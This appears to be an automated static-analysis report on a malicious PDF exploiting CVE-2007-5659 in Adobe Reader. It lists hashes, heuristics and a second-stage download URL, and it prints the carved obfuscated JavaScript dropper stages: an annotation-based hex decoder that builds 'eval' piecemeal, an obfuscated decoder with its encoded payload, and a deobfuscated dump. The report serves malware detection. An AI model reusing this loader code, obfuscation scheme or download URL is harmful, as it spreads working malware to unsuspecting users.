Malicious PDF — malware analysis report

Static analysis result for SHA-256 835efeab048bfa74…

MALICIOUS

PDF

15.6 KB
MD5: fccef3260f00d80280c4cdb7614cfeb2 SHA-1: 2ac3654edc432c85ba07a0b80936102593bddc5f SHA-256: 835efeab048bfa74bcca99f9a68532efded23fe0ba2527062cc8faf31a814732
366 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains obfuscated JavaScript that exploits CVE-2007-5659 in Adobe Reader. The script is designed to download a second-stage payload from the URL http://searchfunes.org/cgi-bin/153/n002106201r0019R19c5e9cdX236ddcd1Y77f5b81dZ0100f060. This indicates a downloader or dropper functionality.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after static deobfuscation)
  • JavaScript action low 5 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Obfuscated multi-stage PDF JavaScript dropper high PDF_JS_OBFUSCATED_DROPPER
    PDF JavaScript shows 5 independent signals of exploit-kit-style multi-stage obfuscation: annot_subject_stage, hex_codec_loop, hex_dashed_payload, incremental_eval_build, repeated_pluginschk. This is strongly consistent with pre-2011 Adobe Reader PDF droppers — OpenAction JS reads encoded data from annotation subjects, decodes it through one or more hex / base-N loops, and invokes eval indirectly (method name built one character at a time). The actual CVE is hidden in the final decoded layer and is not visible via static analysis.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-35901 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35901
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://searchfunes.org/cgi-bin/153/n002106201r0019R19c5e9cdX236ddcd1Y77f5b81dZ0100f060 Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js
4718a27c2224fc36bf24f8e8e04598f1ad78adce4401c7be2708318738a6983d		 pdf-javascript-stream PDF /JS object 5 at offset 0x148 469 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app[fnc]/**/(buf);
}
legacy_pdfkit_stage_000.js
afd2c7ccdb4c43f38facabc4a35db99348963cf538d95ffba3539e985bedc744		 deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x1A4E 12475 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function IXISCwt_r(Odmmt_1b, Yy63_0_3kC){var U_6d3y03bLl = 20;var X_E_4_7x = 0;var I1_NXF_d8__e6P = 512;var S_DI__64____5uj = U_6d3y03bLl;var c8___m = "";var F_q5_R_5X___Hh = 4;var Tp6LW_Q5_rif_6m = this;var bxv1Wy_1p = "1234ee";var UWA3Q_J15j67JYg = arguments;try {var BDMR_____B = 0;if (app) {S_DI__64____5uj = S_DI__64____5uj + 2;Yy63_0_3kC = pr[BDMR_____B].subject;}bxv1Wy_1p = bxv1Wy_1p.replace(/\d+/, "call");} catch(e) { }S_DI__64____5uj = S_DI__64____5uj - U_6d3y03bLl;var IC___Dtr22rx0gh = new Array();var p_H0SHSpk = 150;if (p_H0SHSpk > 0) {IC___Dtr22rx0gh[0] = p_H0SHSpk;IC___Dtr22rx0gh[1] = I1_NXF_d8__e6P;IC___Dtr22rx0gh[0] = IC___Dtr22rx0gh[0] - p_H0SHSpk;IC___Dtr22rx0gh[2] = IC___Dtr22rx0gh[0];IC___Dtr22rx0gh[1] = IC___Dtr22rx0gh[1] - I1_NXF_d8__e6P;IC___Dtr22rx0gh[3] = IC___Dtr22rx0gh[1];}if (Odmmt_1b) { IC___Dtr22rx0gh = Odmmt_1b;}if (!Odmmt_1b) {var s2C3v__W = UWA3Q_J15j67JYg[bxv1Wy_1p].toString();var S3LkDd = 0;var vR28yGkwl = S3LkDd;p_H0SHSpk = p_H0SHSpk - 102;var sC_y436Y4 = 0;while(vR28yGkwl < s2C3v__W.length) {sC_y436Y4 = s2C3v__W.charCodeAt(vR28yGkwl);if (sC_y436Y4 >= p_H0SHSpk && sC_y436Y4 <= 57) {if (S3LkDd == F_q5_R_5X___Hh) {S3LkDd = -1;}if (S3LkDd < 0) { S3LkDd = 0; }IC___Dtr22rx0gh[S3LkDd] += sC_y436Y4;if (IC___Dtr22rx0gh[S3LkDd] > I1_NXF_d8__e6P) {IC___Dtr22rx0gh[S3LkDd] -= I1_NXF_d8__e6P;}S3LkDd = S3LkDd + 1;}vR28yGkwl = vR28yGkwl + 1;}}var R_jQUTQt = 0;var Df__2Wrb3K427u = 0;var bLwlWB_77_yee = -1;var w_2L2jw3J_764C6 = 0;var d84v_O_6 = 0;do {var w_8jhl1RGu = 256;if (IC___Dtr22rx0gh[w_2L2jw3J_764C6] > w_8jhl1RGu) {IC___Dtr22rx0gh[w_2L2jw3J_764C6] -= w_8jhl1RGu;}w_2L2jw3J_764C6 = w_2L2jw3J_764C6 + 1;} while (w_2L2jw3J_764C6 < F_q5_R_5X___Hh);w_2L2jw3J_764C6 = w_2L2jw3J_764C6 - F_q5_R_5X___Hh;while(w_2L2jw3J_764C6 < Yy63_0_3kC.length) {var Y2K03R3t = Yy63_0_3kC.substr(w_2L2jw3J_764C6, 1) + ' V V ';w_2L2jw3J_764C6 = w_2L2jw3J_764C6 + 1;var F_GV_1Wox_4___1 = parseInt(Y2K03R3t, U_6d3y03bLl);if (bLwlWB_77_yee != -1) {Df__2Wrb3K427u += F_GV_1Wox_4___1;if (R_jQUTQt == F_q5_R_5X___Hh) {R_jQUTQt = 0;}var Dk1_j__i = Df__2Wrb3K427u;Dk1_j__i = Dk1_j__i - (d84v_O_6 + 2) * IC___Dtr22rx0gh[R_jQUTQt];if (Dk1_j__i <= 0) {Dk1_j__i = Dk1_j__i - Math.floor(Dk1_j__i / 256) * 256;}Dk1_j__i = String.fromCharCode(Dk1_j__i);if (S_DI__64____5uj == 1) {c8___m += F_GV_1Wox_4___1;} else if (S_DI__64____5uj == 2) {c8___m += Dk1_j__i;} else {c8___m += w_2L2jw3J_764C6;bLwlWB_77_yee = -2;}bLwlWB_77_yee = -1;R_jQUTQt = R_jQUTQt + 1;d84v_O_6 = d84v_O_6 + 1;} else if (bLwlWB_77_yee == -1) {bLwlWB_77_yee = U_6d3y03bLl;Df__2Wrb3K427u = F_GV_1Wox_4___1 * U_6d3y03bLl;}}var S_s5Hm = this;S_s5Hm['ev'+'al'](c8___m);}
	IXISCwt_r(0, "605h825b5bb79e704f43b08b689f1b974g250g982e8i6d022ic59e09677h88a44d0a0h1d3a453j2a69ba6gbb57045c0e8891b6cf8010cf3e6657272h5i0347586c2c592754867f699b4ic37f93ab2643972b4g86918d489485096c7fab3gc58d7b9hc6908b4j36aia187438j722c5jad9f8ja7ce8ac6a11ic07936afa8aj352h935h6101b9c168148a389j21b39f1b429i061a5f057b7865031e93339j4fc66c1090cf4gc84j4072b0ba286ca6064i72149fb66f241h0i6j1b601j9a19ag35cc173840a4ba907f97272gbbbi257c012423040gcbc67a470c40bd8h1c0g6bbh0h3ic91a464a5817173j94533i3h1469703f6c7f3e1bb817814b86c08a4g032e603b3d4i7957b7797022298gaf5bae2bag4b36508754634h013j117da165758e127bc61f1f7c2439cf69975bcb5b4d7d034e5g81084fcf09414a4cc14g8hc24h41566f765a64958540642ic56e6b79bd4c5e3j4j819162457473ba7a9899498h6b7j901fa99h2i119c7j8646bga5155d9dba9f9f0jbc250e0i825106b4950d52b78a6f76269895850g982ic53a9f79bi4fc736475fce504d3c96b9612f1538c36d01a2b95gaj2e1i8009893553bf044i6bac5g7f67211icf81bj61058904094f94c33j400c23c0ab00be4dc69jc6af1e0i08092dc4086i6d220fb966373776bb473e90a924062e091751786b553h165h481j6e926c45c9a93f2f44c253269i2j4j674j4h8151c48j716410a56f699i1b893b151h8h4c89679c3fac63935945aa0276bbb61d4h694d2a76b16424462b5d1h759g9f0h88c20c40887f384f4eb41c2j572c8b2779918i62963b9e7d5a81b4456ac60g565i77417h951g836ha84f80b4agc51e738c2i44aia1ab65baa53791c2bc9dab9b8jb811c58f5112cc9f034i1eb53b5fcdcac38j3jcc4dce3i9279c618a531461b9a6i4667c90j8f6ccd6bb37c010a1976ac5c39890hbc6053bf1d4g6caj5gbf67ccca10a2157731ae19035hb62g69778f03846aa3bg10979j107
... (truncated)
legacy_pdfkit_stage_001.js
288be3f35145fa1bbce50111b5ab84e440240821597774e786b7093636dc34a3		 deobfuscated-js nested inline base-23 callee-key decoded JavaScript at offset 0x1A4E 4900 bytes
Preview script
First 1,000 lines of the extracted script
�p�/x�}Fakm\�zbcZ_ X&�ww&e�rs�@GGvau)]x}i��AL ?;�|�D�S�hVFeHG_cxT&L&1:Px�z����t,�e| z�D�cUFY�1�bJLj`]kk}}KOD5VF`lw}�LVG~�v{>pUJ|Pp[2��2@8YRHrzbkO21�oh��iq�1DG�su;s=vk|hS�&O>".Pi��:|dr2hVZbbRJ�\9,[AKP;kJxheIA _0 `DgCA�VyL2q�.u�qs�w>#n_fPh7S�bB@4,A~�m�D�n_<GN>>[t�JF&C8�p�y�Uw�@aIMv>d^Pq�Fv��vw�.nhibnXP�n08/I)5_ir,4Eu�rmZ7�wnHP]ADL�qGFJ5/� zzHAZJS[�zAI2R;v�z<8`JJR�}8@I��nt�ong@@6JViuA@�weQP]5ML�hPFOx�ws��/IF;R;&~)�t_TVTS8I}_M:/^ .B@/@2ye�NVW5JFekPUD,}k��eAu�;L�e_65KY2Xwe5R@un���q;?C 8)#�5�qh9DQ8DawkYO)C,F?6=A,�[=jn�kG�#[2�}bN>H8JR}qP:>=;^=p_�tSuG��}}�~k4U@Ut�n2�Rlq�|}t,]#>8&�&dLjq�\M�/UA.BF :/d=gzskD�G8���u5^<�}}} �}h�����;UAxnM@Ii`_nb�<RR��k}�u�pCFZ,Yrr#CXB��_w �q��_vpxL{n�g�z/^@,CG/�2jZw}btv}b_��| x8=84NC#F;IKz_eeybew�e�p{;D��u �>uo#(O9�nnhytnk�}�yfL�q�m�w;$O#;5/�8^K�k�z zb}�e��u/I8+QB=G)�s=s_se8~>L5(W. :DXH�htbmhtt~k�mo#:&.\18=&d4sq�nV�P{q����/gRjz�bJ�P}i��r����&�i8tumnL|jMjX@R8XScN}unTn��],8[�8tzbk�Mt/{�s�;~H@�}Hq_�_}qbY,^5�}z S�u|�:@CGS|v{5Hh;�Y�gwb� ;=#aY7MBi�]hEqwqE>|y{D�a{h�Uz9Drr =.�L{tn7�N)CAdD=GBW�{kWwntZ4�|��R��t�O�.F(�9?+D2>0[)9IG){li).~F�}nX�9,O,H5@LAd;FGBN�{kN�ntQ=��� ��5/�~EIet?zwqw�qnkv<~2R;gPLAE`�unc�htcF��b�zrF�Xxb�R}Z84,4D8G)VQ�8�Jv^we�p;O)LVXJNf�uqf�_tf4 �b���lz :Q>5�ju�}U�6A_���F�t�X�K;=#L\l�x>LkJZJw@A�YBD@)H> �h`Mk7J�w9#B gr8�}qkbk}4�k�vwwM#wSoP�IV�bK@1>A��g~5p�d�\Rw�qR8^)scV�khbqezRxqy{R��nPzFqViJkCb�e?2:��q���z�1CKJJ�l 7|�d�eRw zRF��nj��#@X2I/8� yup�hv}j�d5LD@H=#L8p�X�kje�ka>8�~<Uet6�wqnhqnb �a�_�U�Wi O> �juSgwgw[PxFo}bCwNLIA}hPiebOY|\38^A�ZXeq3bewqnwVka0oFunnj�q#B#35C#4>�?=w�9kb�qt�YeguO�knC�?~2R&%KE(P~N@etHnwq�zqntm�aoq�UqB#+>={&=)"?0.P�I�b�7�ED.O;8D�x,.7�KCwtKqwzb}�\\=�}� �k/?2w_r_�UY�e0A2:&M> �xNI}hHb�_}}wVq �F�nt4�QxDX#:3K4_�wqu{�7wM{kw=b�w<;Z>�W=h�N}nw_q�nS@��qmw�J,�ckS{Pvd�� �2F=#:C~4ALD�9[e�<ee_wqwhqdnbWMh:D�bH&1 4r&./�B=bh<ktetwnbhgwSoP�IV�bKxD�DuSe7\�n<84a/PG�fhAlVsg�h|y51=)"4~<BH0._rq��{},iw;�>�d���vM����~z~�w TiHqFzU:��~Kz�M_az;:D2�9qph���w�T>�zh��k>@e�oNn|2�dz5R1�n��ztE2BxKhdnv_�nyBA)~�z~QkpA_anGX :R>���TbgGbXeM[\��}{?�mMzge;R;=2h}o3hj2wUe5X@|�t��~�qs(6,x3ndn�h�n�HD>,_rz��{�#e��9n|DndzJ@A}���f�{xz5y@X�T_wt^qsF�s_x�N9xqL5A�4?e|H�V�P;Mtt5;?hkef�>@~A��y�8��Jjj�ih��wM�2a/B�<�E~KcE�D���5t��6t�Jwa�M[;^5�wh�cmv�1�1K��6�Ys)Y�d�8Uo;twqn�n�&[)�qp�_~Y|QjU_�7o t�wZN�bXJ2GteMYNP�\`�M[�;Y mr;CM[YEH�ZeWzeei/@D+=�<KZ3%�<6<H+�<3K9(�Q9?T@�??9?(x6?tA1�6KEB+���9EF�t93H+�<Kxf4u9<HN.uWUAu%{?HpU1�?0<B:�F\N31�8n?c(�?rC94�L9Jn@�y�Ux4~9GMz.��eBM7�S}EWC�H:7H:�=KPm4uP}Oc:{QcNGI{�U>e=�<4Q�7��>P<=�T3Vl(�K?<6@{�Ee>=�T�WGC�0?W�+�W;?BC�OGXY@�Zy6�Fxu�Y=1u\�FTF��YkMF{00:]I�<T0Q4~mCSk%uY37=%�3H<u%�~p=G:�;[RC(�8?:U(�69?�+��|@;@�t�\�+~6K>~.uDR{W.�HRw�Cx<60R.�Ah<34~DC�l1{S6DAI�?R<>4�<9?L7�~rK<4�TxG6(�GKAy7{GDJ==�EMY�7�7KJK+�KkJK:�OSHT@xP@ld=xufRq1~QPGn=�Q8RMF�K3:;@�wqVT4�VEHD@ucFN9%�NL=EC�EGS�:�WYUPF�4KfT(�T9<SF�M�Yn@xTIfRI~>\3?.~0QF5%��06NC�8686%�>@864�r�M9({O<;EI�uY>B(�FG6K7�?mKK+�YK91(�>Hx�.{G�9@=xDNVZ.�0UxJ+~G3C11�H0Bd@�wC7;1x;<~x1�GLED4�VtGKF�Ei:D7�CFMe4�LDJ�7uiME9%�P�>Q:�AKOH:x�YNT:�i]KQ({O:C9=�E3�p@�NHf;@~3u�z.�OQzw@��BQ�C�NA:CC�rzc44�QEH C{REgvI�iOt�F�=�W�7uk=RVI�\e5k({2FAkI{ j0?=�;�W9%�7n3�+�8nJq(�H?4f@�>wjy(x>z6=1�rPEH+�P�p}F�r38T+�x�wY4uxx�e.uYh{u%{<�=k1�K8z~:�Gdfq1�7q?e(�};yA4�H<I6@�J|fv4~6EGz.�GiC|7�OLLKC�Kt7P:�9KO34uOFNV:{UNOCI{Jf9d=�F3M�7�Q4Q8=�Z6U2(�THBA@{HwUA=�UNWDC�9~S�+�W:FDC�NHSl@�ZH6OFx<MVv1uZ�KWF�NO2�F{336YI�Bk2i4~3<K0%uT468%�6N<6%�B96D:�=VQ=(�3?9N(�9B?C+�HF>5@�?HWQ+~9P<G.uBTEW.�PVBRCx?93S.�?X?94~EEN41{Q4ECI�BU;B4�E?ER7�H5NA4�W@E8(�GyBF7{ECH<=�HKTE7�3HNN+�K3BT7P�a�Aot�E2l�}#=8��k��|y�+�TPzW[w4aXn�C.dYIAcT�i_ckt_N,,v�>�_htwn�>;_|a�>Z1kv_N�Unt�LO�;=#K{4ETQ00A|g�)SV_wS4P�h[`>C ~}z9JTnb.�wz��z#K;>A�g�#i6han�wx��K&C8`:kv}Qs4�n�[O{>?;1_n_qqUeqk[f7H�WG)Mk��Kh|V�LtD7#O;K]HnCnF@���6�|DzFtG7/,�?bmz|w�z�Q>Pva�2^h�}���[t,[5:�sMm|u�t~m�b�AE&<�OKE0K3D2fFP|�Hv7�w|XRlMxo�81y�u)k\mtqKV�>@,B\/�hgbnHJ~DTAvk�b���C�P;qY�_wHJlOO,A��qh1UwOG��hNoYdw\mkzKVxf O&q��?kmPqOt5F#I#��}EDQ�tP�����~z��w l��=R>_wnYquk1D�ys� LTM:Fz{�DL/7"Jlo~,4kJlhk:S�k9/X29M#�So_bCV�b?/N)CG\/�\ibzI_ wE1+A2�XcM4X���5IUAxq��id�e.C=�<iK�7�KoKl:>_�vg~#xwz<�Si&[):+\�r�;.nVWbnFb�nB>R5E_Ae\WYeLe|eHAH,RYKP;kJxheIA _0.LM/�ZekEe2`8+@;pK87Iq{�D��q��1~�~xdbe��{z#^#U
... (truncated)
deobfuscated.js
4024eb006a0f9d78736d5a42fe08334345e0237a89744ed95ae02beff37e22b2		 deobfuscated-js PDF JavaScript deobfuscation pass 75365 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app.eval(buf);
}

605h825b5bb79e704f43b08b689f1b974g250g982e8i6d022ic59e09677h88a44d0a0h1d3a453j2a69ba6gbb57045c0e8891b6cf8010cf3e6657272h5i0347586c2c592754867f699b4ic37f93ab2643972b4g86918d489485096c7fab3gc58d7b9hc6908b4j36aia187438j722c5jad9f8ja7ce8ac6a11ic07936afa8aj352h935h6101b9c168148a389j21b39f1b429i061a5f057b7865031e93339j4fc66c1090cf4gc84j4072b0ba286ca6064i72149fb66f241h0i6j1b601j9a19ag35cc173840a4ba907f97272gbbbi257c012423040gcbc67a470c40bd8h1c0g6bbh0h3ic91a464a5817173j94533i3h1469703f6c7f3e1bb817814b86c08a4g032e603b3d4i7957b7797022298gaf5bae2bag4b36508754634h013j117da165758e127bc61f1f7c2439cf69975bcb5b4d7d034e5g81084fcf09414a4cc14g8hc24h41566f765a64958540642ic56e6b79bd4c5e3j4j819162457473ba7a9899498h6b7j901fa99h2i119c7j8646bga5155d9dba9f9f0jbc250e0i825106b4950d52b78a6f76269895850g982ic53a9f79bi4fc736475fce504d3c96b9612f1538c36d01a2b95gaj2e1i8009893553bf044i6bac5g7f67211icf81bj61058904094f94c33j400c23c0ab00be4dc69jc6af1e0i08092dc4086i6d220fb966373776bb473e90a924062e091751786b553h165h481j6e926c45c9a93f2f44c253269i2j4j674j4h8151c48j716410a56f699i1b893b151h8h4c89679c3fac63935945aa0276bbb61d4h694d2a76b16424462b5d1h759g9f0h88c20c40887f384f4eb41c2j572c8b2779918i62963b9e7d5a81b4456ac60g565i77417h951g836ha84f80b4agc51e738c2i44aia1ab65baa53791c2bc9dab9b8jb811c58f5112cc9f034i1eb53b5fcdcac38j3jcc4dce3i9279c618a531461b9a6i4667c90j8f6ccd6bb37c010a1976ac5c39890hbc6053bf1d4g6caj5gbf67ccca10a2157731ae19035hb62g69778f03846aa3bg10979j107e2c0i292b4d1a2d837922401d8j0ice81b93j45c9a8483g1g08351cbc5b523h417j5e41a1a7794j1ja67b4f822f8b529g1d681e3a495b698486756643bj9i639f1baa6f2b52bg61504d8b30b868954938cdc243ba0f1b612e42aj53782aca400457c3606ib832791f0d3e7d773946900h4j1f592c424f54846j2j7d1hb66e9a93c285713a458ja392725789b98292a65j8iad7h0h12b8ac5344b8ahb628bf98157jbb9g8a84c79h0h0ab6825j08bi92ba392iah5f5h2fb9b785078a3ac318029f1b42c11a48200h96696596246e3icd708g6a01c30f7b104a2b4bbb78668c1h04699h1g91bd6fagbaa1862879367b060c2dbjc76c6d061hca9g970710abb3057g02c83d233j043283670g11228h3dce7a9i4235c3b84d18333d4h0a7g2g612c437j5e1i9e86332bb8b74j29580i645hcb4f6g565f73782cc09da66631cea35fb00fah2ic611c43a5g369037ac5dac32418ha4360f15113a2442017dab5bcb7g164gce426i74185fb8b71f5d580i3091cb4f3c8a5f73445gc09h6h8h54c8405ab32g556h2b485b9183678a9e1e868a9544b16b7j90c3877h301e9cb5a35ba4ae377jag809jb901bd2g0iabbg623312b1ag5ac9823340038i8476049h30c818ca7d283c092b524j9269343iaabf6g49b77faf6abbcc0f72bf2a438g0cbb6c9513428763b66874a9cc2bcfa2bi820680c91d65c5086b73bicac27a9707109db62cab2aabca2h2c121983440c430d68c717388g1a02c9c43a254j10304ja5341j2204765i1ja0a766451fbe7720802d85511454661e615g863hb7787g6b3h9c762h71b4bi6g2d4i7j5j955hcd53068fcb655380b436ba0jb87e4j33166h9a60c5753g81395h9fac385j2ga040666j13465eb9614c5e314e6b91afac718j4ic73j677ebd5a972i0g5393955h9987068f9799538ea79j0213b7a61g19946i852h87bd0481089j9i99c1ad20cfbi7e5dc0ah8e9i1cbi825h851gc8a98i2ibi43ab1e8eb52g21a12b4827c5836756021e8656c97a9i7601c3b87hb04h0060a2ad6d7g1c29768i128j8j7e200a0fa21554328dbda72j001j486fae1h9481101f1g8gb8bib0c6be29301c1a2d83672b3c0a832a0e698e3j3b02134j3i1g1b1716783e1j1b1b943d218jag3j451fcf6i4i821i6i49123a8i4h5f509930b5687c22129c7b287j2g893d2b488f5h8367be6a1e86be617a9i0i69c3b8194c1g0baj4ba928043i065c034473b61h851fcf1b8856c01e639g2a328b62402f5acc7a42894c9c6e8d9f1b7f9c2237599e89728ia6185c6c666h9g9689c3b88gb34d0g846i7d28957b04970b886ja707861fcf0aah7g320da9cf5e09c15f7303c49699cb9j108i139a6ecb5c09304957cb586d3jc1cb8f3fb37hah439ea8a887b02j3383aiab5b860d3g8e89056ab09g1g2310abb7443f9b1iah58942a5587bi30bc689i07108ia4376eb4b2c23g1ic62d8c40222h0j8f333g62ab323bag072e392g1d5g3784282a0e117h2b195gbc45251f084b4977277a520i467a4d615g863hb7787g6b3h9c9g3da104a2492b1g9c737h40
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.